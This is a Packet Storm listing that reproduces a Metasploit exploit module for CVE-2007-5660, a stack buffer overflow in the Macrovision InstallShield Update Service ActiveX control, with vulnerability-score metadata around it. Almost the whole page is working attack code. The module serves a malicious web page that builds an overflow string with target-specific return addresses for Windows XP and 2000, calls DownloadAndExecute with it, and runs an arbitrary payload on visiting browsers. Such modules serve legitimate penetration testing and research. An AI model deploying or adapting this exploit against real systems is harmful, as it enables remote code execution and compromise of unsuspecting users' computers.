Macrovision InstallShield Update Service Buffer Overflow

2009-11-2600:00:00

packetstormsecurity.com

0.963 High

EPSS

Percentile

99.4%

JSON

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Macrovision InstallShield Update Service Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Macrovision InstallShield Update  
Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to   
the DownloadAndExecute method, an attacker may be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-5660' ],  
[ 'OSVDB', '38347' ],  
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059288.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 600, 'Ret' => 0x71aa32ad } ],  
[ 'Windows 2000 Pro English All', { 'Offset' => 600, 'Ret' => 0x75022ac4 } ],  
],  
'DisclosureDate' => 'Oct 31 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Set the exploit buffer   
sploit = rand_text_alpha(target['Offset'])  
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')   
sploit << p.encoded + rand_text_alpha(1200 - p.encoded.length)  
  
#[id(0x00000007), helpstring("method DownloadAndExecute")]  
#void DownloadAndExecute(  
# BSTR dispname,  
# BSTR ProductCode,  
# long MsgID,  
# BSTR url,  
# BSTR cmdline);  
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:E9880553-B8A7-4960-A668-95C68BED571E' id='#{vname}'></object>  
<script language='javascript'>  
#{strname} = new String('#{sploit}')  
#{vname}.DownloadAndExecute("", #{strname}, 0, "", "");  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

0.963 High

EPSS

Percentile

99.4%

JSON

Related for PACKETSTORM:83165